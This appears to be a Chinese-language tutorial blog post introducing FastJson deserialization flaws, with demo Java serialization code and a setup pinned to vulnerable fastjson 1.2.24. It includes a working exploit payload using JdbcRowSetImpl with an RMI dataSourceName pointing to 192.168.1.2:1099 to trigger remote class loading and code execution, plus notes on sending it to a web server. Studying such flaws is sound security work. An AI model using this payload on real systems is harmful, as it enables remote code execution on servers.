FastJson的反序列化问题入门
FastJson 简介
他是一个java的依赖库主要是用来进行处理web的json数据,比如就类似于序列化和反序列化
演示
先创建一个类,这个fastjson触发的条件主要就是要处理的类中有 set,get方法 这个方法主要是依赖了 封装思想
导入get , set 方法
alt+insert 进行插入 :
// Xiaodi CLass
public class Xiaodi {private String name;private int age;public Xiaodi() {System.out.println("无构造方法");}public void getName() {System.out.println("你的名字是"+this.name);}public void setName(String name) {this.name = name;}public void getAge() {System.out.printf("你的年龄"+this.age);;}public void setAge(int age) {this.age = age;}
}
序列化操作 :
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;public class FastTest {public static void main(String[] args) {//FastJson 进行序列化 :Xiaodi a = new Xiaodi("xiaodi",18);String jsonString = JSON.toJSONString(a, SerializerFeature.WriteClassName); //进行序列化操作
// SerializerFeature.WriteClassName 序列化出类的信息System.out.println(jsonString);}
}
如果不写 :就不会提示 Type 我们就无法分辨 是哪个类的反序列化
序列化时就会触发 类的 get 方法
反序列化方法
1、根据序列化的数据,外加真实类的传入进行反序列化操作 有个知识点就是 Fastjson 是序列化->json -> 序列化为二进制数据 -> 反 -> json数据 , 如果传入的就是 json数据 只需要进行反序列化即可
这种反序列化会直接 触发set方法
2、直接反序列化内容
结果是 会在反序列中 触发 set get方法
3、JSon.parse
总结 :
Xiaodi b = JSON.parseObject(jsonString, Xiaodi.class); -》 触发 get方法JSONObject c = JSON.parseObject(jsonString); =》 触发get setObject parse = JSON.parse(jsonString); =》 触发 set
所以他的反序列的漏洞利用就是 利用get,set 方法
真实Webser 使用fastjson的情景:
新建一个 服务端
在pom文件中
<dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.24</version></dependency>
插入这个依赖
然后重新加载依赖
反序列化利用 :
涉及到一个新的知识
RMI注入
RMI 的原型是 开发者用来远程加载 java 文件的,但是如果远程的java文件是个rce的文件,就形成了注入
利用payload :
import com.alibaba.fastjson.JSON;public class FastJsonRce {public static void main(String[] args) {//设置信任远程服务器加载的对象System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");// Class.forName("com.sun.rowset.JdbcRowSetImpl")String payload = "{" +"\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +"\"dataSourceName\":\"rmi://192.168.1.2:1099/qdw686\", " +"\"autoCommit\":true" +"}";//反序列化payload数据JSON.parse(payload);}
}
他的payload 出自jdk自带的依赖库
com.sun.rowset.JdbcRowSetImpl
点击进去咋个库,然后我们寻找触发的反序列化的 set,get 这里利用的是 set方法
找到这个set函数
这里我们需要进行set第一个值, 我们接着往下进行跟踪
{" +"\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +"\"dataSourceName\":\"rmi://192.168.1.2:1099/qdw686\", " +"\"autoCommit\":true" +"}这个是反序列的内容
第二个就是找 setautoCommit
这个传参 是布尔型的
这个是第二个要传参的值 为了让 他进入到 connect() 逻辑
这个代码就是 rmi注入
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());this.getDataSourceName() 这个就是我们需要设置的rmi 远程加载地址
使用工具构造rmi 恶意地址 :
这样就能触发计算器
然后根据这个逻辑继续完成上面的webserver的操作 :
使用小黄鸟进行远程发包实现 RCE